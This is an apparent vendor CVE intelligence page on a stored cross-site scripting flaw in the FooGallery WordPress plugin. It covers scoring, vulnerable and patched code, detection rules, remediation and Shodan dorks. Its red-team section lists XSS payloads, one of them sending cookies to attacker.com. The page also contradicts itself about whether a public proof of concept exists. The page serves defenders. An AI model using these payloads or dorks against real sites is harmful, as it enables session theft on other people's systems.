☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-6068

CVE-2025-6068 Cross-Site Scripting in Foogallery
📅 PUBLISHED: 2025-07-11 07:23 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-6068 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the FooGallery – Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress, up to and including version 2.4.31. The flaw resides in insufficient input sanitization and output escaping of the data-caption-title and data-caption-description HTML attributes. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts that execute when any user visits a page containing the malicious gallery. This is a WordPress ecosystem issue; the vulnerability is introduced by the plugin itself, not the underlying web server.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed through the WordPress admin dashboard. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: Required (victim must visit the page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the potential for persistent script injection in a widely-used gallery plugin poses a significant risk to site visitors and administrators.

Deep Dive & Mechanics

The FooGallery plugin renders image galleries using custom HTML attributes data-caption-title and data-caption-description to store caption information. These attributes are populated from user input when creating or editing a gallery. The plugin fails to properly sanitize and escape this input before storing it in the database and later rendering it in the browser.

Attack Flow:

  1. An authenticated user with Contributor-level or higher privileges creates or edits a gallery.
  2. The attacker injects malicious JavaScript into the data-caption-title or data-caption-description fields.
  3. The plugin stores the unsanitized payload in the WordPress database.
  4. When any user (including administrators or visitors) views the gallery page, the browser parses the malicious HTML attribute and executes the injected script.
  5. The script can steal cookies, redirect users, deface the page, or perform actions on behalf of the victim.

Root Cause: The plugin uses esc_attr() or similar escaping functions incorrectly, or fails to escape the attribute values entirely. The data-* attributes are not inherently dangerous, but when they contain unescaped HTML or JavaScript, they become vectors for XSS.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example from FooGallery <= 2.4.31):

// In gallery template rendering
echo '<img src="' . $image_url . '" data-caption-title="' . $caption_title . '" data-caption-description="' . $caption_description . '" />';

Here, $caption_title and $caption_description are not sanitized or escaped.

Patched Code (expected fix):

// Properly escape output
echo '<img src="' . esc_url($image_url) . '" data-caption-title="' . esc_attr($caption_title) . '" data-caption-description="' . esc_attr($caption_description) . '" />';

The patched version uses esc_attr() to escape the attribute values, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress installation with FooGallery plugin version <= 2.4.31
  • Authenticated user account with Contributor-level or higher privileges

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Navigate to FooGallery > Add Gallery or edit an existing gallery.
  3. In the caption fields (title or description), inject a payload such as:
    " onmouseover="alert('XSS')"
    
    Or a more sophisticated payload:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the gallery.
  5. When any user visits the page containing the gallery, the script executes.

Example Payload for data-caption-title:

" autofocus onfocus="alert(document.cookie)

Note: No public exploit code is available at this time.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual content in data-caption-title and data-caption-description attributes in gallery posts.
  • Look for script tags or event handlers (e.g., onmouseover, onfocus) in these fields.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to gallery endpoints.

Hardening:

  • Update the plugin to the latest patched version once available.
  • Restrict Contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use WordPress security plugins that scan for malicious content.

Indicators of Compromise (IOCs)

  • File Indicators:
    • Modified gallery posts containing <script> tags or event handlers in data-caption-title or data-caption-description.
  • Network Indicators:
    • Outbound connections to attacker-controlled domains from the WordPress server.
    • Unusual HTTP requests to /wp-admin/admin-ajax.php or gallery endpoints with XSS payloads.
  • Log Indicators:
    • WordPress audit logs showing gallery edits by Contributor-level users with suspicious caption content.
    • Web server logs showing requests to gallery pages with encoded XSS payloads.

Detection Engineering

YARA Rule

rule Detect_FooGallery_XSS_DataCaption {
    meta:
        description = "Detects stored XSS payloads in FooGallery data-caption attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6068"
    strings:
        $caption_title = /data-caption-title\s*=\s*"[^"]*<script[^>]*>/
        $caption_desc = /data-caption-description\s*=\s*"[^"]*<script[^>]*>/
        $event_handler = /on\w+\s*=\s*"[^"]*"/ nocase
    condition:
        any of ($caption_title, $caption_desc) or $event_handler
}

Sigma Rule

title: FooGallery Stored XSS via data-caption Attributes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in FooGallery plugin data-caption-title and data-caption-description fields
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6068
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'data-caption-title'
            - 'data-caption-description'
        cs-uri-query|re:
            - '<script'
            - 'on\w+='
    condition: selection
falsepositives:
    - Legitimate use of HTML in captions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6068 FooGallery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"data-caption-title"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin: Check for a patched version of FooGallery. If available, update immediately.
  2. Restrict user roles: Limit Contributor-level access to only trusted users. Consider using a plugin to restrict capabilities.
  3. Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads in gallery caption fields.
  4. Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts.

Long-term Measures:

  • Regularly audit WordPress plugins for known vulnerabilities.
  • Implement a security plugin that monitors file changes and scans for malicious code.
  • Educate users with elevated privileges about the risks of XSS.

Patch Status: As of this report, no official patch has been released. Users should monitor the FooGallery plugin page for updates.


Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/foogallery"
http.html:"foogallery" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-6068/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.